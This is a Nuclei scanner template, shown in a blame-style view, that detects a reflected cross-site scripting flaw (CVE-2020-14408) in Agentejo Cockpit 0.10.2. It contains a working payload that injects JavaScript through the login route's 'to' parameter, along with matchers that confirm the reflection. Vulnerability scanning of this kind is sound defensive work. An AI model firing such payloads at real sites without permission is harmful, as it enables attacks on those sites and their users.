nuclei-templates/cves/2020/CVE-2020-14408.yaml

43 lines
1.1 KiB
YAML
Raw Normal View History

2022-07-06 06:22:49 +00:00
id: CVE-2020-14408
info:
name: Agentejo Cockpit 0.10.2 - Cross-Site Scripting
2022-07-06 06:22:49 +00:00
author: edoardottt
severity: medium
description: Agentejo Cockpit 0.10.2 contains a reflected cross-site scripting vulnerability due to insufficient sanitization of the to parameter in the /auth/login route, which allows for injection of arbitrary JavaScript code into a web page's content.
2022-07-06 06:22:49 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-14408
cwe-id: CWE-79
reference:
- https://github.com/agentejo/cockpit/issues/1310
- https://nvd.nist.gov/vuln/detail/CVE-2020-14408
2022-07-06 08:40:55 +00:00
metadata:
verified: true
tags: cve,cve2022,cockpit,agentejo,xss,oss
2022-07-06 06:22:49 +00:00
requests:
- method: GET
path:
2022-07-06 08:40:55 +00:00
- "{{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280"
2022-07-06 06:22:49 +00:00
matchers-condition: and
matchers:
- type: word
2022-07-06 08:40:55 +00:00
part: body
2022-07-06 06:22:49 +00:00
words:
2022-07-06 08:40:55 +00:00
- "redirectTo = '/92874';alert(document.domain)//280';"
2022-07-06 06:22:49 +00:00
- type: word
2022-07-06 08:40:55 +00:00
part: header
2022-07-06 06:22:49 +00:00
words:
2022-07-06 08:40:55 +00:00
- "text/html"
- type: status
status:
- 200
# Enhanced by mp on 2022/09/02